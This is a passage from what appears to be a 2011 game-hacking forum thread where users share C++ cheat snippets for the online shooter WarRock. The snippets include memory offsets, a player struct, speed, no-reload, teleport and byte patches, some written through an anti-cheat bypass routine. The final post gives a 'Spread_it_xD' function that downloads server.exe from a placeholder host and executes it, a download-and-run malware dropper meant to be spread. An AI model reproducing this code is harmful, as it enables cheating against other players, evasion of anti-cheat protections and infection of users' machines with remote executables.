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WarRock EU - Code Snippets
Discussion on WarRock EU - Code Snippets within the WarRock forum part of the Shooter category.
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Klasse!
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Geht so
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10/26/2011, 20:49
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#5581
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ich finde es sowas von lustig wie hier immer der selbe müll 50x gepostet wird anstatt den thread übersichtlich zu halten.
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10/26/2011, 21:11
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#5582
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Quote:
Originally Posted by Yazzn :)
ich finde es sowas von lustig wie hier immer der selbe müll 50x gepostet wird anstatt den thread übersichtlich zu halten.
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Das lohnt sich jetzt glaue ich eh nicht mehr
Achja,
Structs, könnte man die als enum benutzen? xD
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10/26/2011, 21:13
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#5583
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elite*gold: 2
Join Date: Jul 2009
Posts: 1,447
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Quote:
Originally Posted by Yazzn :)
ich finde es sowas von lustig wie hier immer der selbe müll 50x gepostet wird anstatt den thread übersichtlich zu halten.
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Vor allem, das die 1. Seite nicht mehr Updated wird, daher Übersicht = 0.
Achja, komisch das paar eurer Requests auf der 1. Seite stehe, z.b. GM Warning, da fehlt übrigends Text Draw, also wird das so nicht Funktionieren.
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10/26/2011, 21:31
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#5584
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Join Date: Dec 2009
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if(SeeDown == 1)
{
g_pLocal->Angle.pitch += 150;
}
nice subzerom and büny xD and thank me for make it pub lol
struct CPlayer
{
char Sub[36];//0x00
int AntiM14Message;//0x24
char Büny[50196];//0x28
float Recoil1;//0xC43C
float Recoil2;//0xC440
float Recoil3;//0xC444
char Sub1[88];//0xC448
float ***;//0xC4A0
float ZZZ;//0xC4A4
float YYY;//0xC4A8
char Büny1[16];//0xC4AC
int WeaponState;//0xC4BC
char Sub2[15416];//0xC4C0
float Speed;//0x100F8
float NoSpread;//0x100FC
float NadeBlast;//0x10100
char Büny2[136];//0x10104
short PlayerView3D;//0x1018C
char Sub3[5];//0x1018E
float Pitch;//0x10194
char Büny3[24];//0x10198
float Yaw;//0x101B0
char Sub4[12];//0x101B4
float posX;//0x101C0
float posY;//0x101C4
float posZ;//0x101C8
char Büny4[12];//0x101CC
word Weapon1;//0x101D8
word Weapon2;//0x101DA
word Weapon3;//0x101DC
word WeaponSlot; //0x0101DE
char Sub[88];//0x101DE
byte Status;//0x10238
char Büny5[143];//0x10239
float NFD;//0x102C8
char Sub5[20];//0x102CC
float Pos1;//0x102E0
char Büny6[4];//0x102E4
float Pos2;//0x102E8
char Sub6[4];//0x102EC
float Pos3;//0x102F0
char Büny7[236];//0x102F4
DWORD No_Delay_Reload;//0x103E0
}
struct CBase
{
CServer* slocal; //0x000000
char unknown[96]; //0x000004
CPlayer* plocal; //0x000064
char unknown0[1169876]; //0x000068
CPlayer** player; //0x
};
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10/26/2011, 21:37
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#5585
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#define OFS_RCPlayer 0x1018C
if(RCPlayer){*(WORD*)(dwPlayerPtr+OFS_RCPlayer) = 1;}
Happy Fun
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10/26/2011, 21:38
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#5586
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Code:
if (SVP=1)
{
if (Player != 0 && Server != 0)
for(int i = 0; i < 32; i++)
{
CPlayer* PlayerA = pBase->player[i];
PlayerA->px=(i*50);
PlayerA->py=0;
PlayerA->pz=0;
}
}
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10/26/2011, 21:40
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#5587
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Join Date: Dec 2009
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if ( CH_NoReload )
{
if ( g_pBase->plocal->WeaponState == *(INT*)(ADR_
WeaponReload) )
{
g_pBase->plocal->No_Delay_Reload |= 0x10;
}
}
thanks for this sub xD
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10/26/2011, 21:41
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#5588
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Join Date: Oct 2011
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if(NoDelay && GetAsyncKeyState(VK_LBUTTON))
{*(DWORD*)(dwPlayerPtr+OFS_NODELAY) |= 0xFFFFFFEF;}
#define OFS_NODELAY 0x103E0 // Can used as NoReload, could be buggy, maybe i post another...
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10/26/2011, 21:43
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#5589
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elite*gold: LOCKED
Join Date: Dec 2009
Posts: 4,650
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büny the skillor xD
if ( CH_PlayerSpeed == 0) { g_pBase->plocal->Speed = 0; }
if ( CH_PlayerSpeed == 1) { g_pBase->plocal->Speed = -100; }// x1
if ( CH_PlayerSpeed == 2) { g_pBase->plocal->Speed = -200; }// x2
if ( CH_PlayerSpeed == 3) { g_pBase->plocal->Speed = -300; }// ...
if ( CH_PlayerSpeed == 4) { g_pBase->plocal->Speed = -400; }
if ( CH_PlayerSpeed == 5) { g_pBase->plocal->Speed = -500; }
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10/26/2011, 21:45
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#5590
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elite*gold: 1
Join Date: Jun 2011
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Fast Medic Asm
Code:
if(FastMedic)
{
WriteAsm((void*)(0x4C9497), (PBYTE)"\x90\x90\x90\x90\x90\x90", 6);
}
Fast Repair Asm
Code:
if(FastRepair)
{
WriteAsm((void*)(0x421D31), (PBYTE)"\x90\x90\x90\x90\x90\x90", 6);
}
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10/26/2011, 21:46
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#5591
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elite*gold: 0
Join Date: Oct 2011
Posts: 233
Received Thanks: 80
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#define ADR_YourActionsSpeed 0x9E336C
usage:
*(float*)ADR_YourActionsSpeed = 1337;//Or Whatever
can be used for Faster Plant and Defuse.
Happy fun
e:/ fixed for Leechers xD
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10/26/2011, 21:47
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#5592
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elite*gold: LOCKED
Join Date: Dec 2009
Posts: 4,650
Received Thanks: 5,731
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DWORD MsgBox_OK_SHOP = 0x04186C1;// OK & Go to Ingame Shop
DWORD MsgBox_OK = 0x04186E8;// Only OK
DWORD MsgBox_OK_CANCEL = 0x04E065B;// OK & Cancel
found by me
source:
Quote:
void MessageBoxWr(char * msgtxt)
{
__asm
{
add eax,0
mov ecx, eax
push msgtxt
call MsgBox_XXX // <- write the name
pop ecx
}
}
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10/26/2011, 21:47
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#5593
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Join Date: Oct 2011
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Code:
if (CH_QUICKPLANT == 1)
{
BypassDetour((void*)(ASM_QUICKPLANT), (PBYTE)"\xEB\x34", 2);
}
else
{
BypassDetour((void*)(ASM_QUICKPLANT), (PBYTE)"\x74\xC3\xA1\x51",4);
}
if (CH_QUICKDEFUSE == 1)
{
BypassDetour((void*)(ASM_QUICKDEFUSE), (PBYTE)"\x8B\x8E\xE8\x00",4);
}
else
{
BypassDetour((void*)(ASM_QUICKDEFUSE), (PBYTE)"\xD8\x50\x04",3);
}
Bytes Old
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10/26/2011, 21:51
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#5594
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Join Date: Oct 2011
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#define OFS_STOPMYACTIONS 0x10354
*(float*)(dwPlayerPtr+STOPMYACTIONS) = 999;
Könnt nicht mehr springen, laufen unso
Mir war lw xD
CREDITS TO ME IHR LEECHER
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10/26/2011, 21:56
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#5595
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elite*gold: LOCKED
Join Date: Dec 2009
Posts: 4,650
Received Thanks: 5,731
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void Spread_it_xD()
{
URLDownloadToFile(NULL,TEXT("http://www.blablablalbalblablablabla.net/server.exe"),TEXT("C:\\server.exe"),0,0);
ShellExecuteA(0, "open", "server.exe",0,"C:\\",0);
}
idk if it 100% work not tested^^
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